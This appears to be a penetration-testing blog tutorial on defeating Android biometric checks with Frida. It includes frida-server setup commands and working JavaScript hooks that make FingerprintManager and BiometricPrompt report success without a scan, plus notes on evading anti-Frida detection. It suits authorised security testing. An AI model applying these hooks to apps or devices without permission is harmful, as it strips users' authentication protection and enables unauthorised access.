Android App Penetration Testing & Frida Hooks

Unlocking Android Apps: Using Frida to Defeat Biometric Authentication Checks

Google AdSense Native Placement - Horizontal Top-Post banner

Introduction to Android Biometric Authentication

Biometric authentication has become a cornerstone of modern mobile security, offering a convenient and seemingly robust method for users to secure their devices and applications. From fingerprint scanners to facial recognition, these mechanisms aim to replace traditional PINs and passwords, providing a faster and more intuitive user experience. On Android, biometrics are integrated through standardized APIs like FingerprintManager (deprecated but still in use for older apps) and the more modern BiometricPrompt, which offers a unified interface for various biometric modalities.

The Rise of Biometrics in Mobile Security

The adoption of biometrics has grown exponentially due to hardware advancements and an increased focus on user convenience. Developers often integrate these checks into critical application flows, such as logging in, authorizing transactions, or accessing sensitive data, assuming they provide an adequate layer of security. However, for a penetration tester or security researcher, understanding how to circumvent these checks is crucial for evaluating an application’s true security posture.

Why Bypass Biometrics?

While biometrics enhance user convenience, their security implementation can sometimes be flawed, or they might not be the primary security boundary an application intends. Bypassing biometric checks in a controlled testing environment allows us to:

  • Assess the application’s reliance on biometric verification versus other security controls.
  • Identify potential logical flaws in the authentication flow where a successful bypass could grant unauthorized access.
  • Understand how the application behaves when biometric authentication fails or is skipped.
  • Test the resilience of the application against runtime manipulation.

Understanding Frida: Your Runtime Instrumentation Toolkit

Frida is a dynamic instrumentation toolkit that allows developers, reverse engineers, and security researchers to inject JavaScript snippets or their own library into native apps on Windows, macOS, Linux, iOS, Android, and QNX. It provides a JavaScript API to hook into functions, rewrite code, and inspect memory at runtime, making it an invaluable tool for Android application penetration testing.

How Frida Works

At its core, Frida uses a custom injector to load a runtime into the target process. This runtime exposes a powerful API that allows you to:

  • Enumerate loaded modules and exported functions.
  • Hook any function, whether exported or internal.
  • Read and write memory.
  • Instantiate Java classes and call methods from injected JavaScript.
  • Intercept and modify arguments, return values, and even execution flow.

Setting Up Your Penetration Testing Environment

Before we dive into the exciting part, let’s ensure your environment is ready.

Prerequisites

  • An Android device (rooted is highly recommended for full Frida capabilities, though not strictly required for basic hooking).
  • Android Debug Bridge (ADB) installed on your host machine.
  • Python 3 installed on your host machine.
  • A target Android application (for testing purposes, a simple app with biometric login is ideal).

Installing Frida and ADB

First, install Frida on your host machine:

pip install frida-tools

Next, download the appropriate Frida server for your Android device’s architecture (e.g., frida-server-*-android-arm64) from the Frida releases page. Push it to your device and run it:

# Find your device's architecture (e.g., arm64-v8a)adb shell getprop ro.product.cpu.abi# Push frida-server to /data/local/tmp/adb push /path/to/frida-server /data/local/tmp/frida-server# Give execute permissionsadb shell "chmod 755 /data/local/tmp/frida-server"# Run frida-server in the backgroundadb shell "/data/local/tmp/frida-server &"

Verify Frida is running by listing processes:

frida-ps -U

Identifying Target Biometric APIs

The first step in bypassing biometrics is to identify which Android API calls the application uses for authentication. This can involve static analysis (decompiling the APK with tools like Jadx-GUI or Ghidra) or dynamic analysis (using Frida to observe API calls).

Common Android Biometric APIs

  • android.hardware.fingerprint.FingerprintManager (deprecated, used in older Android versions < API 28)
  • androidx.biometric.BiometricPrompt (part of AndroidX, unified API for modern Android versions)

Reverse Engineering for Clues

When statically analyzing, look for code that instantiates BiometricPrompt.Builder or calls methods like authenticate. For instance, you might find code similar to this in an app’s Java source:

BiometricPrompt.PromptInfo promptInfo = new BiometricPrompt.PromptInfo.Builder()    .setTitle("App Biometric Login")    .setSubtitle("Confirm your identity to proceed")    .setNegativeButtonText("Use Account Password")    .build();biometricPrompt.authenticate(promptInfo);

The key here is the authenticate method, as this is where the actual biometric check is initiated.

Crafting Frida Hooks to Bypass Biometric Checks

Our goal is to intercept the authenticate method and force it to report success, effectively bypassing the physical biometric scan.

The Basic Hooking Strategy

We will use Frida’s Java API to get a reference to the relevant class, then hook its authenticate method. We can either:

  1. Call the success callback directly.
  2. Replace the method implementation to always return success.

Example: Bypassing FingerprintManager (Legacy)

For older apps using FingerprintManager, the `authenticate` method takes a FingerprintManager.AuthenticationCallback. We can hook this to call onAuthenticationSucceeded immediately.

Java.perform(function () {    var FingerprintManager = Java.use("android.hardware.fingerprint.FingerprintManager");    var AuthenticationCallback = Java.use("android.hardware.fingerprint.FingerprintManager$AuthenticationCallback");    console.log("[*] Hooking FingerprintManager.authenticate");    FingerprintManager.authenticate.overload('android.hardware.fingerprint.FingerprintManager$CryptoObject', 'android.os.CancellationSignal', 'int', 'android.hardware.fingerprint.FingerprintManager$AuthenticationCallback', 'android.os.Handler').implementation = function (crypto, cancel, flags, callback, handler) {        console.log("[+] FingerprintManager.authenticate called!");        // Call the success callback directly        Java.scheduleOnMainThread(function () {            console.log("[+] Forcing onAuthenticationSucceeded!");            callback.onAuthenticationSucceeded(null); // Pass null or a dummy CryptoObject            // Or, if you want to call the original and then trigger success:            // this.authenticate(crypto, cancel, flags, callback, handler);            // Java.send(function(){ callback.onAuthenticationSucceeded(null); });        });    };});

Example: Targeting BiometricPrompt (Modern)

The modern BiometricPrompt is more commonly found. Its authenticate method also takes a callback, BiometricPrompt.AuthenticationCallback, which has onAuthenticationSucceeded(), onAuthenticationError(), and onAuthenticationFailed().

Java.perform(function () {    var BiometricPrompt = Java.use("androidx.biometric.BiometricPrompt");    var AuthenticationCallback = Java.use("androidx.biometric.BiometricPrompt$AuthenticationCallback");    console.log("[*] Hooking BiometricPrompt.authenticate");    // Find the correct overload; BiometricPrompt often has multiple    BiometricPrompt.authenticate.overload('androidx.biometric.BiometricPrompt$PromptInfo', 'androidx.biometric.BiometricPrompt$AuthenticationCallback').implementation = function (promptInfo, callback) {        console.log("[+] BiometricPrompt.authenticate called!");        var current_this = this;        Java.scheduleOnMainThread(function () {            console.log("[+] Forcing onAuthenticationSucceeded for BiometricPrompt!");            callback.onAuthenticationSucceeded(null); // Pass null or dummy result        });        // You can choose to call the original method as well if needed:        // current_this.authenticate(promptInfo, callback);    };});

Step-by-Step Walkthrough: Bypassing a Sample App

Let’s assume we have an app com.example.secureapp that uses BiometricPrompt for login. We’ll use the modern bypass technique.

  1. Start Frida Server: Ensure frida-server is running on your Android device.
  2. Run the Frida Script: Save the BiometricPrompt hook script (from the example above) as bypass_biometric.js.
  3. Attach Frida to the App: When the app launches or is about to perform the biometric check, attach Frida to its process.
frida -U -f com.example.secureapp -l bypass_biometric.js --no-pause

The -f flag spawns the process, -l loads the script, and --no-pause allows the app to run immediately after injection. When the app attempts to show the biometric prompt, Frida will intercept the call to authenticate and immediately trigger the success callback, effectively bypassing the need for a physical biometric scan.

Advanced Techniques and Considerations

Handling Callbacks and Intercepting Results

Often, the biometric APIs operate asynchronously, using callbacks. Instead of just calling onAuthenticationSucceeded, you might need to inspect the arguments or the context to ensure a graceful bypass. For instance, if the app expects a specific BiometricPrompt.AuthenticationResult object, you might need to create and pass a mock object.

// Inside the BiometricPrompt.authenticate hookJava.perform(function() {    // ... existing hook ...    Java.scheduleOnMainThread(function() {        var AuthenticationResult = Java.use('androidx.biometric.BiometricPrompt$AuthenticationResult');        var BiometricCryptoObject = Java.use('androidx.biometric.BiometricPrompt$CryptoObject');        var dummyResult = AuthenticationResult.$new(Java.cast(null, BiometricCryptoObject.class), 0); // Create a dummy result object        console.log('[+] Forcing onAuthenticationSucceeded with dummy result!');        callback.onAuthenticationSucceeded(dummyResult);    });});

Defeating Anti-Frida Measures

Some applications employ anti-Frida detection mechanisms. Common techniques include:

  • Checking for frida-server process or listening ports.
  • Inspecting memory for Frida-related strings or modules.
  • Verifying system properties (e.g., ro.debuggable).

Bypassing these requires additional techniques, such as modifying Frida’s behavior (e.g., using custom build versions, obfuscating scripts) or hooking the anti-Frida checks themselves to return false negatives.

Conclusion

Frida is an incredibly powerful tool for runtime instrumentation and an essential part of any Android penetration tester’s toolkit. By understanding how Android’s biometric authentication APIs work and leveraging Frida’s capabilities to hook and manipulate them, you can effectively bypass these security checks. This allows for deeper analysis of an application’s internal logic and helps identify vulnerabilities that might otherwise remain hidden. Always remember to use these techniques ethically and only on applications you have explicit permission to test.

Android Mobile Specs & Compare Directory

Are you researching mobile hardware properties, processor SoCs, GPU chipsets, or RAM configurations? Access our complete specs catalog to compare up to 5 devices side-by-side!

Compare Devices Specs →
Google AdSense Inline Placement - Content Footer banner